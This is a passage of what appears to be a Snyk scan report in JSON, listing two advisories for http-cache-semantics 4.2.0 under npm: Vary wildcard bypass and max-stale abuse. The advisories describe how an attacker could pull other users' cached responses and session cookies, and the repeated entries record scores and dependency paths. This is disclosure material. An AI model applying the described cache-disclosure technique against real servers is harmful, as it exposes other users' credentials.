"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
